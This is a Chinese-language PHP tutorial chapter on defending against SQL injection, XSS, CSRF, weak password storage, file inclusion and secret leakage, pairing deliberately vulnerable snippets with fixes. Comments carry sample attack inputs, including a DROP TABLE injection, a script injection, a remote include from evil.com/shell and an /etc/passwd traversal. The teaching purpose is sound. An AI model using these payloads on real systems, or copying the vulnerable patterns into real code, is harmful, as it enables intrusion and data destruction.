PHP 安全实践

这是本系列最重要的一章。Web 应用面临各种攻击:SQL 注入、XSS、CSRF、密码破解、文件包含……历史上无数严重数据泄露都源于忽略基础安全。好消息是:PHP 内置了所有防御工具,只要养成几个习惯,就能挡住 95% 的攻击。

1. 安全第一定律

永远不要相信用户输入。

这是 Web 安全的总纲。所有来自用户的数据($_GET$_POST$_COOKIE$_FILES$_SERVER 里的部分)都要当作污染的。在使用之前必须校验、过滤、转义。下面把 OWASP Top 10 里 PHP 项目最常见的威胁逐个讲清楚。

2. SQL 注入(头号威胁)

SQL 注入是攻击者通过构造恶意输入改变 SQL 语义,从而读取/修改/删除数据库。这是 PHP 项目历史上最严重、最频繁的漏洞:

<?php
// ❌ SQL 注入漏洞(反面教材!)
$id = $_GET["id"];
$sql = "SELECT * FROM users WHERE id = " . $id;
$pdo->query($sql);

// 攻击者构造 URL: page.php?id=1 OR 1=1
// 实际 SQL: SELECT * FROM users WHERE id = 1 OR 1=1
// 结果:所有用户数据都被读取!

// 更严重的攻击:page.php?id=1; DROP TABLE users--
// 实际 SQL: SELECT * FROM users WHERE id = 1; DROP TABLE users--
// 表被删了!

// ✅ 正确做法:PDO 预处理(永远!)
$stmt = $pdo->prepare("SELECT * FROM users WHERE id = :id");
$stmt->execute(["id" => $_GET["id"]]);
$user = $stmt->fetch();

// 预处理让 SQL 结构和数据彻底分离,参数自动转义,无法注入

防御铁律:永远用 PDO 预处理。详见第 14 章。预处理让 SQL 结构和数据彻底分离,从根本上不可能注入。无论参数看起来多安全,都不要拼 SQL——这是无数血泪教训。

3. XSS(跨站脚本攻击)

XSS 是攻击者把恶意 JavaScript 注入到你的网页,在其他用户浏览器执行——偷 Cookie、改页面、钓鱼。这是 PHP 项目第二常见的漏洞:

<?php
// ❌ XSS 漏洞(直接输出用户输入)
echo $_GET["name"];
// 攻击者构造 URL: page.php?name=<script>steal()</script>
// 浏览器会执行这段 JS,偷 Cookie / 改页面 / 钓鱼

// ✅ 正确做法:输出到 HTML 用 htmlspecialchars
echo htmlspecialchars($_GET["name"]);
// <script> 变 &lt;script&gt;,浏览器显示成文本,不执行

// htmlspecialchars 默认只转 4 个字符:
// < > & " (默认)
// 加 ENT_QUOTES 让 ' 也转义(更安全)
echo htmlspecialchars($input, ENT_QUOTES, "UTF-8");

// 不同输出位置需要不同转义:
// HTML 文本: htmlspecialchars
// HTML 属性: htmlspecialchars + 必须加引号
// JavaScript: json_encode($data, JSON_HEX_TAG)
// URL:       rawurlencode

防御要点:

4. CSRF(跨站请求伪造)

CSRF 是攻击者诱导已登录用户在不知情下执行操作——比如点一个链接就把钱转走:

<?php
// CSRF(跨站请求伪造):攻击者诱导用户在已登录网站执行操作

// ❌ 漏洞:GET 请求改数据
// <a href="/delete.php?id=1">删除</a>
// 用户被诱导访问恶意页面:
// <img src="https://yoursite.com/delete.php?id=1">

// ✅ 防御:POST + CSRF Token
session_start();

// 1. 生成 token(每个 session 一个或每个表单一个)
if (empty($_SESSION["csrf_token"])) {
    $_SESSION["csrf_token"] = bin2hex(random_bytes(32));
}
$token = $_SESSION["csrf_token"];

// 2. 表单里放 token
// <input type="hidden" name="csrf" value="<?= htmlspecialchars($token) ?>">

// 3. 提交时校验
if ($_SERVER["REQUEST_METHOD"] === "POST") {
    $sent = $_POST["csrf"] ?? "";
    if (!hash_equals($_SESSION["csrf_token"], $sent)) {
        die("CSRF 校验失败");
    }
    // 处理请求...
}

// hash_equals 是恒定时间比较,防止时序攻击
// 框架(Laravel/Symfony)都内置 CSRF 中间件

防御要点:

5. 密码哈希(必须!)

明文存密码是不可饶恕的错误——数据库一旦泄露,所有用户密码暴露,而很多人多网站用同一密码,后果是连锁灾难:

<?php
// ❌ 绝不明文存密码!
// INSERT INTO users (password) VALUES ("123456")

// ❌ 不要用 md5 / sha1(已被攻破,可彩虹表)
// md5($password);          // 弱
// sha1($password);         // 弱

// ✅ 用 password_hash(PHP 内置,自动加盐)
$hash = password_hash("mypassword", PASSWORD_DEFAULT);
// $2y$10$xxxxx...  (bcrypt 哈希,每次结果不同)

// 存储:把 $hash 存进数据库 varchar(255) 字段

// 验证:用 password_verify(不是 ==)
if (password_verify($input, $hash)) {
    echo "密码正确";
}

// 升级哈希(算法过时自动重新哈希)
if (password_needs_rehash($hash, PASSWORD_DEFAULT)) {
    $newHash = password_hash($input, PASSWORD_DEFAULT);
    // 更新数据库
}

// 密码策略建议:
// - 最少 8 位,建议 12 位以上
// - 不限制字符种类(强制大小写数字反而促使弱密码)
// - 推荐用密码管理器或 passkey
// - 不要自己发明算法,永远用 password_hash

核心 API:

6. 文件包含漏洞

include / require 时如果路径含用户输入,攻击者可能包含任意文件(甚至远程代码):

<?php
// ❌ 文件包含漏洞
$page = $_GET["page"];
include $page . ".php";
// 攻击者: page.php?page=http://evil.com/shell
// 或:    page.php?page=../../etc/passwd%00

// ✅ 白名单
$allowed = ["home", "about", "contact"];
$page = $_GET["page"] ?? "home";
if (!in_array($page, $allowed, true)) {
    $page = "home";
}
include __DIR__ . "/pages/" . $page . ".php";

// 永远不要让用户输入控制 include 路径
// 永远不要 allow_url_include = On

防御要点:

7. 敏感信息保护

<?php
// ❌ 不要把密码硬编码或提交到 git
// $pass = "mysql_root_123";  // 提交到 git 就完了

// ✅ 用环境变量(.env 文件 + 不提交)
$pass = getenv("DB_PASSWORD");
// 或 $_ENV["DB_PASSWORD"]

// .env 文件(加入 .gitignore):
// DB_HOST=localhost
// DB_PASSWORD=your_secret
// 用 vlucas/phpdotenv 库加载

// ✅ 配置文件放 web 根外
// /var/www/config.php    ✓(不可被 URL 访问)
// /var/www/public/config.php  ✗(可被 https://site/config.php 访问)

// ✅ 错误信息不要泄露给用户
// 开发环境: display_errors = On
// 生产环境: display_errors = Off + 记录日志
ini_set("display_errors", "0");
ini_set("log_errors", "1");

8. 其他常见威胁

9. 用框架可以省 90% 心

纯 PHP 写小项目可以,但正式项目请用框架。Laravel / Symfony 默认就内置了上述所有防御:

本系列学的 PHP 基础在框架里全部适用——框架只是把这些基础知识组织成更好的工程结构。先打好基础,再上框架。

10. 安全检查清单

小结

恭喜完成全部 16 章 PHP 教程!这一章你掌握了 Web 安全的核心:SQL 注入、XSS、CSRF、密码哈希、文件包含、敏感信息——把这些变成肌肉记忆,你写的 PHP 应用就能挡住绝大多数攻击。下一步建议:学一个框架(Laravel 推荐)、做完整项目(博客、商城、API)、读 OWASP 官方文档深入。PHP 能让你最快把网站做出来并部署上线——找一个想法,把它变成产品吧。

← 上一篇 PHP 文件上传

← 返回 PHP 教程目录

✈️💬